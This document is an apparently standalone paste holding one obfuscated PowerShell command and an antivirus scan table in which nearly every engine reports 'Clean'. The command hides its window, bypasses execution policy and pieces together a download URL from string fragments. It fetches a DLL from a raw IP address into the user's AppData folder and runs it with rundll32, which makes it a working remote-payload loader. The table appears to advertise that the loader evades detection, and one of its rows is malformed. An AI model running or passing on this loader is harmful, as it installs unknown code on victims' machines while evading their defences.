powershell -nop -w hidden -ep bypass "&('{1}{0}' -f 'R','IW') ('{1}{4}{3}{2}{0}' -f '/safer.dll','h','.143.37','111.90','ttp://') -outf $env:USERPROFILE\AppData\runner.dll;rundll32 $env:USERPROFILE\AppData\runner.dll,1"
| Antivirus | Signature |
|---|---|
| Bkav | Clean |
| Lionic | Clean |
| ClamAV | Clean |
| FireEye | Clean |
| CAT-QuickHeal | Clean |
| McAfee | Clean |
| Malwarebytes | Clean |
| VIPRE | Clean |
| Sangfor | Clean |
| K7AntiVirus | Clean |
| K7GW | Clean |
| Baidu | Clean |
| VirIT | Clean |
| Cyren | Clean |
| Symantec | Clean |
| ESET-NOD32 | Clean |
| TrendMicro-HouseCall | Clean |
| Avast | Clean |
| Cynet | Clean |
| Kaspersky | Clean |
| BitDefender | Clean |
| NANO-Antivirus | Clean |
| ViRobot | Clean |
| MicroWorld-eScan | Clean |
| Rising | Clean |
| Emsisoft | Clean |
| F-Secure | Clean |
| DrWeb | Clean |
| Zillya | Clean |
| TrendMicro | Clean |
| McAfee-GW-Edition | Clean |
| CMC | Clean |
| Sophos | Clean |
| Ikarus | Clean |
| GData | Clean |
| Jiangmin | Clean |
| Avira | Clean |
| Antiy-AVL | Clean |
| Gridinsoft | Clean |
| Xcitium | Clean |
| Arcabit | Clean |
| SUPERAntiSpyware | Clean |
| ZoneAlarm | Clean |
| Microsoft | Clean |
| Clean | |
| AhnLab-V3 | Clean |
| Acronis | Clean |
| BitDefenderTheta | Clean |
| ALYac | Clean |
| MAX | Clean |
| VBA32 | Clean |
| Zoner | Clean |
| Tencent | Clean |
| Yandex | Clean |
| TACHYON | Clean |
| MaxSecure | Clean |
| Fortinet | Clean |
| AVG | Clean |
| Panda | Clean |